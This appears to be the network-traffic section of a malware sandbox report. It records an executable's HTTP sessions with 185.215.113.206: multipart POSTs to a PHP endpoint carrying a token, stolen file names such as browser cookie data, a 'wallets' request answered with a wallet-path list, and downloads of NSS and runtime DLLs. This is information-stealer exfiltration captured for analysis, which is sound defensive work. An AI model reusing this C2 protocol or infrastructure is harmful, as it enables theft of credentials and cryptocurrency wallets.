Nov 20, 2024 16:50:40.891437054 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 16:50:41.007339954 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAECFCAAECBGDGDHIEHJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="file"------BAECFCAAECBGDGDHIEHJ--
Nov 20, 2024 16:50:41.972493887 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49752	185.215.113.206	80	1556	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:50:47.797081947 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCB Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 16:50:47.797131062 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 20, 2024 16:50:49.653831005 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 16:50:49.900243998 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="file"------CAEHJEBKFCAKKFIEHDBF--
Nov 20, 2024 16:50:50.836201906 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 16:50:51.317600012 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 16:50:51.763427019 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 20, 2024 16:50:51.763497114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 20, 2024 16:50:51.763511896 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 20, 2024 16:50:51.763524055 CET	372	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 20, 2024 16:50:51.763632059 CET	1236	IN	Data Raw: 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 Data Ascii: !)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjS
Nov 20, 2024 16:50:51.763683081 CET	1236	IN	Data Raw: 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff Data Ascii: UM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>
Nov 20, 2024 16:50:51.763696909 CET	1236	IN	Data Raw: 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 08 57 e8 ac f7 07 00 83 c4 0c 01 f7 29 f3 39 f3 77 e8 53 ff 75 08 57 e8 Data Ascii: hh !Vf.@uVuW)9wSuWT>\>=t%>>fM1^_[]U}th
Nov 20, 2024 16:50:51.763773918 CET	1236	IN	Data Raw: 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 00 00 89 f0 09 d8 66 0f 6e 34 07 66 0f ef db 66 0f 60 f3 66 0f 61 f3 66 0f 6f f8 66 0f 72 f7 17 66 0f 6f 1d Data Ascii: Mfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`f
Nov 20, 2024 16:50:51.772080898 CET	1236	IN	Data Raw: 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 f8 01 75 ba 8b 45 f0 88 98 00 01 00 00 88 b0 01 01 00 00 31 c0 83 c4 34 5e 5f 5b 5d c3 0f b6 d2 89 55 ec 89 Data Ascii: 40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1M
Nov 20, 2024 16:50:51.772176027 CET	1236	IN	Data Raw: ff 89 d9 0f a4 f9 08 0f a4 df 08 89 bd 48 ff ff ff 8b 9d 74 ff ff ff 8b 7b 28 89 bd fc fe ff ff 01 f8 8b 7b 2c 89 bd 00 ff ff ff 8b 5d f0 11 fb 8b bd 48 ff ff ff 01 f8 89 45 b8 11 cb 89 5d f0 31 da 31 c6 89 f0 0f a4 d0 10 89 45 a8 0f ac d6 10 89 Data Ascii: Ht{({,]HE]11EuUUuu11UHtF00Qv4,AA8UA<}5[dy!~6_U
Nov 20, 2024 16:50:53.423974037 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 16:50:53.907912016 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 20, 2024 16:50:54.750957012 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 16:50:55.195363998 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 20, 2024 16:50:55.871139050 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 16:50:56.316972971 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 20, 2024 16:50:59.333856106 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 16:50:59.870305061 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:50:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 20, 2024 16:51:00.430306911 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 16:51:00.875426054 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 20, 2024 16:51:01.685368061 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEGHJJDGHCAKEBGIJKJ Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 16:51:02.814760923 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 16:51:02.879297972 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGIJKEHCAKFCAKFHDAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 2d 2d 0d 0a Data Ascii: ------AEGIJKEHCAKFCAKFHDAAContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------AEGIJKEHCAKFCAKFHDAAContent-Disposition: form-data; name="message"wallets------AEGIJKEHCAKFCAKFHDAA--
Nov 20, 2024 16:51:03.329531908 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 